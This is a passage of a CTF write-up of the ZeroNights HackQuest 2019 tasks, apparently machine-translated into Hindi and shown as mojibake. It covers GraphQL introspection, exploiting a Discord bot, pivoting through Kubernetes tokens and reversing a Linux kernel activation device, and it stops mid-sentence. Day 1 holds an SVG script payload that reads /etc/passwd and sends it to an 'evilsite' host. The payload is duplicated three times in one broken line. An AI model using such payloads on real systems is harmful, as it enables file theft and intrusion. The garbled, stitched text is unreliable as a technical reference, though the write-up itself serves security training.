рдЬреАрд░реЛрдирд╛рдЗрдЯреНрд╕ рд╣реИрдХрдХреНрд╡реЗрд╕реНрдЯ 2019ред рдкрд░рд┐рдгрд╛рдо рдФрд░ рд▓рд┐рдЦрдирд╛

рд╣рд╛рд▓ рд╣реА рдореЗрдВ, рдЬреАрд░реЛрдирд╛рдЗрдЯреНрд╕ рд╕рдореНрдореЗрд▓рди рдХреЗ рд╕рд╛рде рдореЗрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордпрдмрджреНрдз рд╡рд╛рд░реНрд╖рд┐рдХ рд╣реИрдХрдХреНрд╡реЗрд╕реНрдЯ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЧрдпрд╛ рд╣реИред рдкрд┐рдЫрд▓реЗ рд╡рд░реНрд╖реЛрдВ рдХреА рддрд░рд╣, рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ 7 рдЕрд▓рдЧ-рдЕрд▓рдЧ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд╣рд▓ рдХрд░рдирд╛ рдерд╛ - рдПрдХ рджрд┐рди рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдПред рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ, рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣, рд╣рдорд╛рд░реЗ рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рд╕рд╣рдпреЛрдЧрд┐рдпреЛрдВ рдХреЛ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХреАред рдЖрдк рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдЬреЛ рдХрдЯ рдХреЗ рддрд╣рдд рдЗрд╕ рдмрд╛рд░ рд╣реИрдХрдХреНрд╡реЗрд╕реНрдЯ рдХреЗ рд╡рд┐рдЬреЗрддрд╛ рдмрдиреЗред


рдЫрд╡рд┐

рджрд┐рди 1. рд╢реАрд░реНрд╖ SECRET


рд╡рд┐рдЬреЗрддрд╛рдУрдВ
рдкрд╣рд▓рд╛ рд╕реНрдерд╛рдирджреВрд╕рд░рд╛ рд╕реНрдерд╛рди
vladvisgotdaswag

рдЗрд╕ рд╡рд░реНрд╖ рдХрд╛ рдкрд╣рд▓рд╛ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рдбрд┐рдЬрд┐рдЯрд▓ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдСрдбрд┐рдЯ рдЯреАрдо рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕реЗ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рддреАрди рдЪрд░рдгреЛрдВ рд╕реЗ рдЧреБрдЬрд╝рд░рдирд╛ рдкрдбрд╝рд╛: рдЧреЗрдо рдкреЛрд░реНрдЯрд▓ рдХреА рдЖрдВрддрд░рд┐рдХ рдЪреИрдЯ рдХреА рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪ, рдбрд┐рд╕реНрдХреЛрд░реНрдб рдмреЙрдЯ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг, рдФрд░ рдХреБрдмреЗрд░рдиреЗрдЯ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдЧрд▓рдд рдЕрдзрд┐рдХрд╛рд░ рд╕реЗрдЯрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред


рдкрд╣рд▓реЗ рджрд┐рди рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рдирд┐рд░реНрдгрдп (vladvis)

рдкрд╣рд▓рд╛ рдЪрд░рдг: рдЧреНрд░рд╛рдлрдХрд▓


  • рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рд╣рдо рдПрдХ js рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдЧреЗрдо рдФрд░ рд░реЗрдЯрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред
  • рд╕реНрдерд┐рд░ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдмреИрдХрдПрдВрдб рдореЗрдВ рдХреЗрд╡рд▓ 1 рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
  • рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд╡реЗрд░реА рдХреЗ рд╕рд╛рде рд╕рднреА рдкреНрд░рдХрд╛рд░реЛрдВ рдФрд░ рдЙрдирдХреЗ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
    { __schema { types { name fields { name } } } } 
  • рд╣рдо рдЯрд┐рдкреНрдкрдгреА рдХреНрд╖реЗрддреНрд░ рджреЗрдЦрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЕрдЧрд▓реЗ рдЪрд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рд▓рд┐рдВрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред

рджреВрд╕рд░рд╛ рдЪрд░рдг: рдмреЙрдЯ рдХреЛ рддреНрдпрд╛рдЧреЗрдВ


  • рдПрдХ рдмреЙрдЯ рд╣рдореЗрдВ рд╕рд░реНрд╡рд░ рдкрд░ рдорд┐рд▓рддрд╛ рд╣реИ рдФрд░ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рдЪреИрдирд▓ рдмрдирд╛рддрд╛ рд╣реИ
  • рддреБрд░рдВрдд рд╣рдореЗрдВ gitea рдореЗрдВ SSRF рдХрд╛ рдПрдХ рд╕рдВрдХреЗрдд рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдРрд╕рд╛ рдХрднреА рдирд╣реАрдВ рдорд┐рд▓рд╛ = (
  • рд╣рдо рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> = "3 рд╕реЗрдореА" viewBox = " <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> etc / рдкрд╛рд╕рд╡рд░реНрдб", рдЭреВрдареА); <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • рд╣рдо / etc / passwd рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ 2 рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ: рдХрд╛рд░реНрдпрдХрд░реНрддрд╛, рдЬрд┐рдирдХреА рдУрд░ рд╕реЗ svg рдФрд░ gitea рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh / рд╢ worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • рдпрд╣ рдХрджрдо рдореИрдВ рдПрдХ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдорд╛рд░реНрдЧ рд╕реЗ рдЧреБрдЬрд░рд╛: in.bash_history, рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ ssh рдХреБрдВрдЬреА рдФрд░ рд╕рд░реНрд╡рд░ рдкрддреЗ рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓реЗ рдЪрд░рдг рдХреЗ рд▓рд┐рдП рдкрде рдереЗ
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    рддреАрд╕рд░рд╛ рдЪрд░рдг: рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕

  • рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдореИрдВ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЗрд╕ рдореБрдХрд╛рдо рдкрд░ рдкрд╣реБрдВрдЪрд╛ рд╣реВрдВред .bash_history рдФрд░ ps рдЦрд╛рд▓реА рдереЗ, рдФрд░ рдЗрд╕ рдореИрдВрдиреЗ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓рд╛ рдХрд┐ рдПрдХ рдЕрд▓рдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рддреНрдпреЗрдХ рдЖрдИрдкреА рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╕реЗ
  • рдорд╛рдЙрдВрдЯ рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯреЛрдХрди рдорд┐рд▓рд╛
  • рдкрд╣рд▓реЗ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рдерд╛ рдХрд┐ рдЯреЛрдХрди рдХрд╣рд╛рдБ рд╕реЗ рдорд┐рд▓реЗрдЧрд╛, рдФрд░ рдореИрдВрдиреЗ рдЧреНрд░рд┐рдб рдХреЛ рд╕реНрдХреИрди рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛ ... рдФрд░ рдХреБрдЫ рдмрд┐рдВрджреБ рдкрд░ рдореИрдВрдиреЗ рдкрдбрд╝реЛрд╕рд┐рдпреЛрдВ рдХреЛ рдХреНрд▓рд╛рдЙрдб рдореЗрдВ рдЪрд▓рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛
  • рдХрд┐ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд╕рдВрдХреЗрдд рдХреЗ рдмрд╛рдж, рдХрд┐рд╕реА рднреА рд╕рдмрдиреЗрдЯ рд╕реНрдХреИрди, рдФрд░ рд▓рдЧрднрдЧ рддреБрд░рдВрдд рдпрд╣ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдмрд╛рдХреА рдПрдкреАрдЖрдИ Kubernetes-рдПрдХ
  • рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░, рдореБрдЭреЗ рдПрд╣рд╕рд╛рд╕ рд╣реБрдЖ рдХрд┐ рдореИрдВ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдХреЗрд▓рд╛ рдирд╣реАрдВ рдерд╛, рдФрд░ рдХреБрдЫ рдХрд╛рдЯрдиреЗ рдХреА рдЗрдЪреНрдЫрд╛ рдирд╣реАрдВ рдереА, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, cmdline рдорд╛рд╕реНрдХрд┐рдВрдЧ, рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдЗрд╕реЗ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдЖрд╕рд╛рди рдпрд╣ рдЕрдзрд┐рдХ рджрд░реНрджрдирд╛рдХ рд╣реИ рдФрд░ ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдиреЗ рдЖрдк рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХреЛ рд╕реЙрдХреНрд╕ рдХрд░рддрд╛ рд╣реИ
  • kubectl get pods рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдХрдВрдЯреЗрдирд░реЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХреА рдЧрдИ рдереА, рдФрд░ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкреНрд░рд▓реЗрдЦрди рдиреЗ рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдПрдХ рд╣реА рд╡рд╛рдХреНрдпрд╡рд┐рдиреНрдпрд╛рд╕ рдХреЗ рд╕рд╛рде docker рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ
  • рддреЛ рдлрд┐рд░ рд╡рд╣рд╛рдБ рдореЛрдЬрд╝реЗ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛ рдХрд╛рд░реНрдпрдХрд╛рд░реА рдХреЗ рд▓рд┐рдП WebSocket рдирд╣реАрдВ рд╣реБрдЖ рдерд╛ рдХреЗ рд╕рд╛рде рджреБрдЦ рдХреА 1.5 рдШрдВрдЯреЗ рдереЗред рдореИрдВ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реАрдзреЗ ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ kubectl рдЬрд╛ рд░рд╣рд╛ рд╣реВрдБ
  • рджреВрд╕рд░реЗ рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдПрдХ рдирдпрд╛ рдЯреЛрдХрди рд╣реИ рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкрдбрд╝реЛрд╕реА рдирд╛рдорд╕реНрдерд╛рди zn2 рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХреА рдкрд╣реБрдВрдЪ рд╣реИ (рд╢реБрд░реВ рдореЗрдВ рд╣рдо рдирд╛рдорд╕реНрдерд╛рди zn1 рдореЗрдВ рд╣реИрдВ), рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рд▓рд╛рд▓ рд░рдВрдЧ рджрд┐рдЦрд╛рдИ рджреЗ рд░рд╣рд╛ рдерд╛
  • рд╣рдо рдкрд┐рдЫрд▓реЗ Zeronights рд╕реЗ рд░рд┐рдкреЛрд░реНрдЯ @paulaxe рдХреЛ рдпрд╛рдж рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕ PoC рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ
  • рдЕрдЧрд▓рд╛ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рдзреНрд╡рдЬ рдХреЛ рдХреБрдмреЗрд░рдиреЗрдЯ рдХреЗ рд░рд╣рд╕реНрдпреЛрдВ рд╕реЗ рдЦреАрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ

рджрд┐рди 2. MICOSOFT LUNIX


рд╡рд┐рдЬреЗрддрд╛рдУрдВ
рдкрд╣рд▓рд╛ рд╕реНрдерд╛рдирджреВрд╕рд░рд╛ рд╕реНрдерд╛рдирддреАрд╕рд░рд╛ рд╕реНрдерд╛рди
рдлрдЯреЗSin__AV1ct0r
рдпрд╣ рднреА рддрдп рдХрд┐рдпрд╛: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

рджреВрд╕рд░реЗ рджрд┐рди рдХрд╛ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ r0 рдХреНрд░реВ рд╕рдореБрджрд╛рдп рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕реЗ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реНрдиреЗрд▓ рдХреЗ рд╕рд╛рде рд▓рд┐рдирдХреНрд╕ рдЫрд╡рд┐ рдХреЗ рд▓рд┐рдП рд╕рдХреНрд░рд┐рдпрдг рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред


рджреВрд╕рд░реЗ рджрд┐рди рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рдирд┐рд░реНрдгрдп (рдлрд╛рдбрд╝рд╛)

рджрд┐рдпрд╛ рдЧрдпрд╛: jD74nd8_task2.iso рдлрд╝рд╛рдЗрд▓, рдмреВрдЯ рдХрд░рдиреЗ рдпреЛрдЧреНрдп ISO рдЫрд╡рд┐ред рдЫрд╡рд┐ рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ, рд╣рдо рдпрд╣ рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рд▓рд┐рдирдХреНрд╕ рд╣реИ: рдПрдХ рдХрд░реНрдиреЗрд▓ boot/kernel.xz рдХрд░реНрдиреЗрд▓ рд╣реИред boot/kernel.xz , рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд░реИрдордбрд┐рд╕реНрдХ boot/rootfs.xz рдФрд░ рдПрдХ рдмреВрдЯ рд▓реЛрдбрд░ boot/syslinux/ ред


рд╣рдо рдХреЛрд░ рдФрд░ рд░реИрдордбрд┐рд╕реНрдХ рдХреЛ рдЕрдирдкреИрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рд░рд╛рдордбрд┐рд╕реНрдХ рдпрд╣рд╛рдБ рдПрдХ рдирд┐рдпрдорд┐рдд cpio рд╕рдВрдЧреНрд░рд╣ рд╣реИ рдЬрд┐рд╕реЗ xz рджреНрд╡рд╛рд░рд╛ рд╕рдВрдкреАрдбрд╝рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕реНрдХреНрд░рд┐рдкреНрдЯ https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░реНрдиреЗрд▓ рдХреЛ рдЕрдирдкреИрдХ рдХрд░реЗрдВ ред рдЖрдк рдХрд░реНрдиреЗрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкрд░ рднреА рдзреНрдпрд╛рди рджреЗ рд╕рдХрддреЗ рд╣реИрдВ:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

рдЬрд┐рд╕ рддрд░рд╣ рд╕реЗ, рд╣рдо рдЖрдИрдПрд╕рдУ рдЗрдореЗрдЬ рдореЗрдВ minimal/rootfs/bin/activator рдХрд╛ рдореБрдЦреНрдп рдХрд╛рдо рдкрд╛рддреЗ рд╣реИрдВ: рдпрд╣ рд╕рднреА рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рджрд░реНрдЬ рдИрдореЗрд▓ рдбреЗрдЯрд╛ рдФрд░ рдПрдХреНрдЯрд┐рд╡реЗрд╢рди рдХреБрдВрдЬреА рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдиреАрдЪреЗ рдЖрддрд╛ рд╣реИ /dev/activate рдлреЙрд░рдореИрдЯ /dev/activate $email|$key рдореЗрдВ /dev/activate рд╣реИред $email|$key | рд╕рдлрд▓ рд╕рддреНрдпрд╛рдкрди рдХреБрдВрдЬреА рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рд╕реЗ рдкрдврд╝рд╛ /dev/activate рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬрд╛рд░реА рдХрд░реЗрдЧрд╛ ACTIVATED , рдЙрддреНрдкреНрд░реЗрд░рдХ рдФрд░ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЦреЗрд▓ 2048 рдореЗрдВ рд╢реБрд░реВ рд╣реЛрдЧрд╛ред


рдпрд╣ рд╕рдордп рдЧрддрд┐рд╢реАрд▓рддрд╛ рдореЗрдВ рдХрд╛рд░реНрдп рдХреЛ рджреЗрдЦрдиреЗ рдХрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХреЗрд╡реАрдПрдо рдореЗрдВ рдПрдореБрд▓реЗрдЯрд░ рдЪрд▓рд╛рдПрдВ:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

рд▓рд┐рдирдХреНрд╕ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рддреБрд░рдВрдд рдУрд╡рд░рд▓реЗ рд╕реЗ /bin/activator рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИред рдпрд╣ /etc/inittab рдореЗрдВ рд╡рд░реНрддрдиреА рд╣реИред рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдмрд┐рдирд╛рд░ рдореЗрдВ рдЦреБрджрд╛рдИ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ рдФрд░ рдХрдо рд╕реЗ рдХрдо /proc рдкреНрд░реЛрдХ рдФрд░ рд╕реАрд╕ рдХреЛ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ред рдореЗрд░реЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдпрд╣ рдерд╛ рдХрд┐ рдореИрдВ рдХреЗрд╡рд▓ рдЙрд╕ рдЬрдЧрд╣ рдкрд░ рдЖрдЗрд╕реЛ рдлрд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реВрдВ рдЬрд╣рд╛рдВ рдПрдХреНрдЯрд┐рд╡рд┐рд╕реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЦреБрдж рд╕реНрдерд┐рдд рд╣реИред рдмрд▓реНрдХрд┐ sleep 1 рдкреБрдЯ /bin/sh , рдпрд╛рдиреА рдзрд╛рд░рд╛рд╡рд╛рд╣рд┐рдХ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рдХреЗ рдмрд╛рдж рдореБрдЭреЗ рдПрдХ рдЦреЛрд▓ рдорд┐рд▓рд╛ред


рддреЛ рдПрдХ рд╢реЗрд▓ рд╣реИ: рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ /proc/kallsyms рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реИ, рдЕрд░реНрдерд╛рддреНред рдХреЛрдИ рдЧрд┐рд░реА рдкреНрд░рддреАрдХреЛрдВред рдЙрдирдХреЗ рд╕рд╛рде, рдЬрд╝рд╛рд╣рд┐рд░ рд╣реИ, рдпрд╣ рдмрд╣реБрдд рддреЗрдЬрд╝ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдпрд╣ рдареАрдХ рд╣реИред рд╣рдо рдбрд┐рд╡рд╛рдЗрд╕ /dev/activator рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ:


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╕реЗ /proc/devices рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рдЪрд░рд┐рддреНрд░ (рдЪрд╛рд░) рдбрд┐рд╡рд╛рдЗрд╕ рд╣реИ, рдЬреЛ рдкреНрд░рдореБрдЦ 252 рдФрд░ рдирд╛рдмрд╛рд▓рд┐рдЧ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг - 0ред


рдпрд╣ рдХрд░реНрдиреЗрд▓ рдмрд┐рдирд╛рд░ рдореЗрдВ рдЗрд╕ рдЙрдкрдХрд░рдг рдХреЗ рдкрдВрдЬреАрдХрд░рдг рд╕рдорд╛рд░реЛрд╣ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ write рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рд╣реИрдВрдбрд▓рд░ рдЦреЛрдЬрдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╕реНрдЯреНрд░рд┐рдВрдЧ activate рд╕рдВрджрд░реНрдн рджреЗрдЦреЗрдВред рд▓реЗрдХрд┐рди рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдРрд╕реА рдХреЛрдИ рд░реЗрдЦрд╛ рдирд╣реАрдВ рд╣реИ, рд╢рд╛рдпрдж рдпрд╣ рдХрд┐рд╕реА рддрд░рд╣ рдЫрд┐рдкрд╛ рд╣реБрдЖ рд╣реИред


: рдЕрдЧрд▓рд╛ рдкреНрд░рдпрд╛рд╕ рдХрд╛рд░реНрдпреЛрдВ рдХрд┐ рдЪрд░рд┐рддреНрд░ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдкрдВрдЬреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИрдВ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП cdev_add рдФрд░ register_chrdev ред рдпрд╣ рдХреНрд░реЙрд╕-рд░реЗрдлрд╝рд░рд┐рдВрдЧ /dev/console рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡рд░реНрдг рдбрд┐рд╡рд╛рдЗрд╕ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХрд░реНрдиреЗрд▓ рд╕реНрд░реЛрдд рдХреЛрдб рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдореИрдВрдиреЗ рд╕рдВрд╕реНрдХрд░рдг 5.0.11 рд▓рд┐рдпрд╛, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдпрдХреАрди рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╕рдВрд╕реНрдХрд░рдг рд╕рд╣реА рд╣реИ)ред рдЙрдкрдХрд░рдгреЛрдВ рдХрд┐ рдкрдВрдЬреАрдХреГрдд рд╣реИрдВ рдХреА рд╕реВрдЪреА рджреЗрдЦреЗрдВ, рдирд╣реАрдВ рд╡рд╣рд╛рдБ рдореБрдЦреНрдп рд╕рдВрд╕реНрдХрд░рдг 252 рд╢рд╛рдпрдж рдкрдВрдЬреАрдХрд░рдг рдХреЗ рд╕рд╛рде рдПрдХ рдбрд┐рд╡рд╛рдЗрд╕ рд╣реИ рдирд╣реАрдВ рдЗрди рджреЛрдиреЛрдВ рдХрд╛рд░реНрдпреЛрдВ 